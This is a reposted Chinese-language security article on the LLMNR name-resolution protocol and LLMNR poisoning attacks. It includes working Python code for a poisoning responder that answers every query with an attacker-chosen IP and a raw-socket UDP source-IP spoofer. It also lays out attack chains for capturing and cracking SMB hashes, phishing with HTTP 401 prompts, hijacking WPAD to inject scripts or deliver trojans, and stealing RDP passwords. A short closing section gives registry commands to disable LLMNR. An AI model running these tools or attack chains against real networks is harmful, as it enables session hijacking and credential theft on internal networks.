<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/11086

            本文將會對 LLMNR 協議進行分析并用 Python 實現質詢和應答。后半部分則會重點闡述利用 LLMNR 在名稱解析過程中的缺陷進行實戰攻擊的部分思路。
            下面是本文的每一小節的 title :

            0x00 LLMNR 簡介


            從 Windows Vista 起,Windows 操作系統開始支持一種新的名稱解析協議 —— LLMNR,主要用于局域網中的名稱解析。LLMNR 能夠很好的支持 IPv4 和 IPv6,因此在 Windows 名稱解析順序中是一個僅次于 DNS 的名稱解析方式,更重要的是在 Linux 操作系統中也實現了 LLMNR。

            0x01 LLMNR 協議分析


            LLMNR 協議定義在 RFC 4795 中。文檔里詳細的介紹了有關于 LLMNR 協議的結構,配置以及安全性等內容。

            LLMNR 的協議結構如下圖所示:

            圖 1:LLMNR 協議結構

            LLMNR 協議結構圖中各個字段的說明如下:

            0x02 LLMNR 名稱解析過程


            一個完整的正常的 LLMNR 名稱解析過程如下圖所示:

            注:假定主機 B 已加入了組播組中。

            圖 2:一個完整的正常的 LLMNR 名稱解析過程

            LLMNR 名稱解析過程所使用的傳輸協議為 UDP 協議,IPv4 的廣播地址為 - 224.0.0.252, IPv6 的廣播地址為 - FF02:0:0:0:0:0:1:3 或 FF02::1:3。在主機中所監聽的端口為 UDP/5355。

            使用 Wireshark 抓取一個完整的 LLMNR 質詢/應答過程的數據包,如下圖所示:

            圖 3:一個完整的 LLMNR 質詢/應答過程數據包

            從上圖可以看到,編號為 No.3 和 No.4 的數據包證明了主機 A 分別使用自己的 IPv4 地址和 IPv6 地址向 IPv4 和 IPv6 的廣播地址進行了廣播,質詢數據包的 TID 為 0xc7f7。查詢的地址類型為請求主機 B 的 IPv4 地址,這一點可以從 A 或 AAAA 進行區別。一個 A 表示請求的地址類型為 IPv4 地址,四個A(AAAA)表示請求的地址類型為 IPv6 地址。

            編號為 No.5 的數據包證明了主機 B(192.168.16.130)收到請求數據包后,發現有主機請求自己的 IP地址,于是向主機 A 進行單播應答,將自己的 IP 地址單播給了主機 A,應答的地址類型為 IPv4,同時該數據包的 TID 的值為上面主機 A 進行廣播的數據包的 TID —— 0xc7f7。

            質詢的數據包詳細結構如下圖所示:

            圖 4:質詢的數據包詳細結構

            應答的數據包詳細結構如下圖所示:

            圖 5:應答的數據包詳細結構

            0x03 編程實現 LLMNR 的質詢和應答


            通過上面的內容,可以很直觀的理解 LLMNR 進行名稱解析的詳細過程。使用 Python 可以快速實現 LLMNR 協議的質詢和應答編程。

            LLMNR 協議的質詢過程實際上就是進行了一個廣播。直接看代碼。

            質詢的代碼如下:

            LLMNR Query Demo Code

            #!python
            #/usr/bin/env python
            
            __doc__ = """
            
                LLMNR Query ,
                                by Her0in
            
            """
            
            import socket, struct
            
            class LLMNR_Query:
                def __init__(self,name):
                    self.name = name
            
                    self.IsIPv4 = True
                    self.populate()
                def populate(self):
                    self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3'
                    self.PORT = 5355
                    self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6
            
                    self.QueryType = "IPv4"
                    self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM)
            
                    self.QueryData = (
                    "\xa9\xfb"  # Transaction ID
                    "\x00\x00"  # Flags Query(0x0000)? or Response(0x8000) ?
                    "\x00\x01"  # Question
                    "\x00\x00"  # Answer RRS
                    "\x00\x00"  # Authority RRS
                    "\x00\x00"  # Additional RRS
                    "LENGTH"    # length of Name
                    "NAME"      # Name
                    "\x00"      # NameNull
                    "TYPE"      # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
                    "\x00\x01") # Class
                    namelen = len(self.name)
                    self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen))
                    self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name))
                    self.data = self.data.replace("TYPE",  "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c")
            
                def Query(self):
                    while(True):
                        print "LLMNR Querying... -> %s" % self.name
                        self.lqs.sendto(self.data, (self.HOST, self.PORT))
                    self.lqs.close()
            
            if __name__ == "__main__":
                llmnr = LLMNR_Query("Wooyun")
                llmnr.Query()
            

            要對 LLMNR 協議的質詢請求進行應答,首先要將本機加入多播(或組播)組中,所使用的協議為 IGMP。具體編程實現的方式可以直接構造數據包使用 UDP 發送,也可以使用套接字提供的 setsockopt 函數進行設置。

            應答的實現方式很簡單,創建一個 UDP 套接字使用 setsockopt 函數加入多播組并監聽 5355 端口,當然也可以使用非阻塞的 SocketServer 模塊實現,效果更佳。

            具體代碼如下:

            LLMNR Answer Demo Code

            #!python
            #/usr/bin/env python
            
            __doc__ = """
            
                LLMNR Answer ,
                                by Her0in
            
            """
            
            import socket, struct
            
            class LLMNR_Answer:
                def __init__(self, addr):
            
                    self.IPADDR  = addr
                    self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                    self.init_socket()
                    self.populate()
                def populate(self):
            
                    self.AnswerData = (
                        "TID"               # Tid
                        "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
                        "\x00\x01"          # Question
                        "\x00\x01"          # Answer RRS
                        "\x00\x00"          # Authority RRS
                        "\x00\x00"          # Additional RRS
                        "LENGTH"            # Question Name Length
                        "NAME"              # Question Name
                        "\x00"              # Question Name Null
                        "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
                        "\x00\x01"          # Class
                        "LENGTH"            # Answer Name Length
                        "NAME"              # Answer Name
                        "\x00"              # Answer Name Null
                        "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
                        "\x00\x01"          # Class
                        "\x00\x00\x00\x1e"  # TTL Default:30s
                        "\x00\x04"          # IP Length
                        "IPADDR")           # IP Address
            
                def init_socket(self):
                    self.HOST = "0.0.0.0"
                    self.PORT = 5355
                    self.MulADDR  = "224.0.0.252"
                    self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                    self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
                    self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,
                                   socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
            
                def Answser(self):
                    self.las.bind((self.HOST, self.PORT))
                    print "Listening..."
                    while True:
                        data, addr = self.las.recvfrom(1024)
            
                        tid = data[0:2]
                        namelen = struct.unpack('>B', data[12])[0]
                        name = data[13:13 + namelen]
            
                        data = self.AnswerData.replace('TID', tid)
                        data = data.replace('LENGTH', struct.pack('>B', namelen))
                        data = data.replace('NAME', name)
                        data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
            
                        print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
                        self.las.sendto(data, addr)
            
                    self.las.setsockopt(socket.IPPROTO_IP, socket.IP_DROP_MEMBERSHIP,
                                   socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
                    self.las.close()
            
            if __name__ == "__main__":
                llmnr = LLMNR_Answer("11.22.33.44")
                llmnr.Answser()
            

            最終執行后結果如下圖所示:

            圖 6:Python 實現 LLMNR 質詢與應答 1

            下圖為模擬主機查詢主機名稱為Wooyun的結果

            圖 7:Python 實現 LLMNR 質詢與應答 2

            0x04 LLMNR Poison 攻擊原理


            圖 2 說明了一個完整的正常的 LLMNR 質詢/應答過程。由于 LLMNR 使用了無連接的 UDP 協議發送了廣播,之后,多播組內的主機就可以對發起名稱解析的主機進行應答,因此,在這個過程中,攻擊者就有機可乘。

            攻擊者可以將自己的主機加入到組播組中,當收到其他主機進行名稱解析的質詢請求,就可以對發起此次名稱解析的主機進行“惡意”應答。利用此缺陷進行欺騙攻擊的方式稱為 LLMNR Poison 攻擊

            “惡意”應答過程如下圖所示:

            圖 8: 攻擊者進行“惡意”應答過程圖示

            LLMNR 名稱解析的最大缺陷就是,在當前局域網中,無論是否存在主機 B(假定機器名為:SECLAB-HER0IN),只要有主機請求 SECLAB-HER0IN 都會進行一次 LLMNR 名稱解析。

            0x05 利用偽造源 IP + LLMNR Poisone 劫持內網指定主機會話


            由于 UDP 是面向無連接的,所以不存在三次握手的過程,因此,在 LLMNR 名稱解析過程中,UDP 的不安全性就凸顯出來了。攻擊者可以偽造源 IP 地址向廣播地址發送 LLMNR 名稱解析質詢,之后攻擊者再對這個質詢進行應答,完全是一場 “自導自演” 的戲。

            修改 UDP 源 IP 的代碼如下:

            UDP Source IP Spoof Demo Code

            #!python
            #/usr/bin/env python
            
            __doc__ = """
            
                UDP Source IP Spoof ,
                                by Her0in
            
            """
            
            import socket, time
            from impacket import ImpactDecoder, ImpactPacket
            
            def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data):
                ip = ImpactPacket.IP()
                ip.set_ip_src(src_ip)
                ip.set_ip_dst(dst_ip)
            
                udp = ImpactPacket.UDP()
                udp.set_uh_sport(src_port)
                udp.set_uh_dport(dst_port)
            
                udp.contains(ImpactPacket.Data(data))
                ip.contains(udp)
            
                s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
                s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
                s.sendto(ip.get_packet(), (dst_ip, dst_port))
            
            if __name__ == "__main__":
                QueryData = (
                    "\xa9\xfb"  # Transaction ID
                    "\x00\x00"  # Flags Query(0x0000)? or Response(0x8000) ?
                    "\x00\x01"  # Question
                    "\x00\x00"  # Answer RRS
                    "\x00\x00"  # Authority RRS
                    "\x00\x00"  # Additional RRS
                    "\x09"      # length of Name
                    "Her0in-PC"    # Name
                    "\x00"      # NameNull
                    "\x00\x01"  # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
                    "\x00\x01") # Class
            
                ip_src = "192.168.169.1"
                ip_dst = "224.0.0.252"
            
                while True:
                    print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst))
                    UDPSpoof(ip_src, 18743,ip_dst , 5355, QueryData)
                    time.sleep(3)
            

            為了不要那么暴力,加個延時,實際上在 LLMNR 應答數據包中有一個 TTL 默認為 30s,所以在實戰中為了隱蔽可以將延時加大

            具體攻擊過程如下:

            攻擊的效果就是,受害者只要使用計算機名稱訪問 HER0IN-PC 這臺主機的任何服務,都會被重定向到攻擊者指定的 IP 上。

            測試環境如下:

            看圖說話,圖片信息量較大 ;)

            圖 9 : 攻擊者主機 啟動相應的程序,并提供了 WEB 服務

            圖 10 : 當受害者訪問win2k3-3a85d681 這臺主機的 WEB 服務時被重定向到攻擊者主機的 WEB 服務器

            圖 11 : 可以明顯的看到受害者原本想訪問的 WEB 服務器是 Windows Server 2003 卻被攻擊者“重定向”到了一臺 Linux 主機上

            關于“利用偽造源 IP + LLMNR Poisone 劫持內網指定主機會話”就這么多,圖片信息量較大,請自行梳理,利用這種攻擊手段可以做很多事情,剩下的全靠自由發揮 ;)

            0x06 LLMNR Poison 實戰攻擊思路


            在局域網中,名稱解析的行為是非常頻繁的,只要有使用計算機名稱,準確的說是 NetBIOS名稱或非 FQDN 域名的地方都會產生名稱解析,如 PING 主機名稱,使用主機名稱連接各種服務等等。Windows 系統也默認啟用了 NetBIOS 和 LLMNR。這就使得 LLMNR Poison 攻擊的實戰價值有所提升。但實際上在實戰中使用 LLMNR Poison 攻擊時,會遇到一些問題。如,5355 端口被占用,防火墻攔截等,不過這些小問題都是可以解決掉的,另外還有一些不可控的客觀因素,如網絡穩定性等等。但這些問題也不是非常普遍不可解決的。

            下面提供幾種在實戰中可用的 LLMNR Poison 攻擊思路。以 Responder 做為攻擊工具進行演示。

            劫持會話獲取 HASH

            通過劫持會話獲取受害者的 HASH,有兩種常見的攻擊場景。

            攻擊的方式大致為:

            圖 12:SMB 會話劫持獲取 HASH

            圖 13:使用 John 破解 SMB 會話劫持到的 HASH

            劫持會話進行釣魚

            使用 HTTP 401 認證服務器進行釣魚。

            圖 14: HTTP 401 認證服務器釣魚

            圖 15: “釣魚”攻擊獲取到了 HASH

            劫持 WPAD 獲取上網記錄

            在 Windows 系統中,默認啟用了 WPAD 功能,可以對 IE 瀏覽器-工具-internet-連接-局域網設置-自動檢測設置 和 系統服務中的 WinHttpAutoProxySvc 服務進行開關設置。

            啟用了 WPAD 的主機,會持續請求名為WPAD的主機名稱,因此可以利用 LLMNR Poison 攻擊更改受害者主機的瀏覽器代理設置。這樣就可以在攻擊者自己的代理服務器中看到受害者的上網瀏覽記錄,也可以在受害者正在訪問的網頁中嵌入任何你想要嵌入的惡意腳本代碼,如各種釣魚,彈框認證,下載文件等等。另外,由于 WPAD 是一個系統的 HTTP 代理設置,所以 Windows 更新也會使用這個代理,這樣就可以利用 Windows 更新將木馬下載到受害者主機并自動執行。

            但是 WPAD 在實戰中也同樣會受到各種不可控的客觀因素的影響。只有手動設置了瀏覽器代理配置,通過 WPAD 的代理上網的效果才比較明顯。

            “劍走偏鋒” 獲取服務器密碼

            上面已經提到,在局域網中,只要有主機使用其他主機的名稱請求服務就可以產生名稱解析行為。假定有這樣一個場景,在滲透到內網后,進一步滲透的條件很苛刻,這時候你“黔驢技窮”(:0)了,為了能在內網中拿到一臺服務器,以便“站穩腳跟”。或許你可以采用“劍走偏鋒”的思路,利用 LLMNR Poison 攻擊進行 3389 連接欺騙,拿到服務器的密碼,這樣做的確有些冒險,可是總好過你直接修改 IP 去欺騙登錄要好很多(真有人這么做過 ~,~!)。

            測試環境如下:

            場景如下:

            管理員的主機(Win2k8)連接內網服務器(Win2k3)進行常規維護,攻擊者(BT5-R3)利用 LLMNR Poison 攻擊劫持了 3389 連接會話,為了更加明顯的演示出攻擊效果,我將 3389 連接會話重定向到一臺 XP 中

            OK,看圖說話;),攻擊效果如下:

            圖 16: 管理員(Win2k8)連接內網服務器(Win2k3),但是被 LLMNR Poison 攻擊劫持,重定向到了 XP 上。

            圖 17:從攻擊者的機器中,也可以看到 Responder 做了“惡意”應答,同時,利用 lcx 轉發 3389 也有數據流在跑,可以從 IP 中判斷出來

            圖 18:在 XP 中已經安裝了某記錄登錄密碼的程序,可以記錄任何成功或失敗的登錄信息 :D,上圖中可以看到管理員輸入的登錄信息。

            0x07 總結


            關于 LLMNR Poison 攻擊的實戰思路有很多,包括劫持 FTP,MySQL,MSSQL Server等等。具體的實現,請自由發揮。

            為了防止遭到 LLMNR Poison 攻擊,可以導入下面的注冊表鍵值關閉 LLMNR:

            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
            reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f 
            

            不過,關閉了 LLMNR 以后, 可能用戶的一些正常需求會受到影響,:)

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线